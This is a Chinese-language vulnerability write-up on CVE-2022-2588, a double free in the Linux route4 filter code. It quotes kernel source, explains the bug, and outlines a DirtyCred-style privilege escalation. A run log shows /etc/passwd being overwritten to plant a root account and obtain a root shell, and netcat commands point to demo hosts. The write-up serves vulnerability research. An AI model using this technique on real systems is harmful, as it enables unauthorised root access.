该漏洞在 Linux v5.19 中通过此 提交 修复。
该漏洞于 2014 年由 Linux v3.17 中的此 提交 引入。触发它需要 用户命名空间。此漏洞与 CVE-2021-3715 非常相似,后者是由对 route4_filter 链表的不当操作引起的。关于 CVE-2021-3715 的更多细节可以在 blackhat 演讲(第 16 页)中找到。以下是 CVE-2022-2588 的一些简要细节。
以下显示了函数 route4_change 的一些重要代码片段,以帮助理解 CVE-2022-2588。
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
该函数用于初始化/替换 route4_filter 对象。过滤器使用 handle 作为唯一标识来区分每个过滤器。如果存在一个之前已经初始化过的 handle(即变量 fold 不为空),它将通过移除旧过滤器并添加新过滤器来更新该过滤器;否则,它只会添加一个新过滤器。
在 [0] 处,内核分配 route4_filter 对象。在 [1] 处,如果 fold 不为空(表示存在具有相同 handle 的过滤器),它会将一些信息复制到新过滤器,并在 [2] 处初始化新过滤器,然后在 [3] 处将新过滤器插入列表。如果旧过滤器存在,它会在 [4] 处从列表中删除,并在 [6] 处释放。
漏洞发生在 [4] 处,该处检查是否存在要移除的旧过滤器。该条件确保 handle 不应为零,并且应与新过滤器的 handle 匹配。该条件与 [6] 处释放过滤器的条件不一致,后者仅检查旧过滤器是否存在。因此,如果用户创建一个 handle 为 0 的过滤器,然后触发其替换,该过滤器将不会在 [4] 处被断开链接,但由于条件不同,会在 [6] 处被释放。
由于该漏洞与 CVE-2021-3715 相似,其利用原语几乎相同。读者可以参考 blackhat 演讲 以获取更详细的利用原语描述。本文的 write-up 展示了利用 DirtyCred 思路进行的利用。
由于触发漏洞后,已释放的 fold 仍然在链表中,我们可以再次释放 fold,这最终会导致 route4_filter 对象的双重释放,如果启用了 CONFIG_NET_CLS_ACT,还会导致 route4_filter->exts.action 对象的双重释放。
利用代码利用这两个双重释放能力来演示对 任务凭证(利用 kmalloc-192 双重释放,即将推出)和 打开文件凭证(利用 kmalloc-256 双重释放)的攻击。
遵循 DirtyCred 的思路,利用代码在权限检查后交换文件凭证,因此我们可以向具有读取权限的文件写入任何内容。理想情况下,该代码可以适用于受该漏洞影响的所有内核版本。需要注意的是,为了确保代码在较旧的内核上也能工作,其中 msg_msg 被隔离在 kmalloc-rcl-* 中,利用代码使用了不同的 spray 对象。
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
该漏洞利用代码被编写为尽可能多地适用于各种发行版。已确认可工作的版本包括:
(如果您发现它可以在其他内核上工作,请随时发送 PR 更新此列表。)
请使用用户 low 和密码 low 登录
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338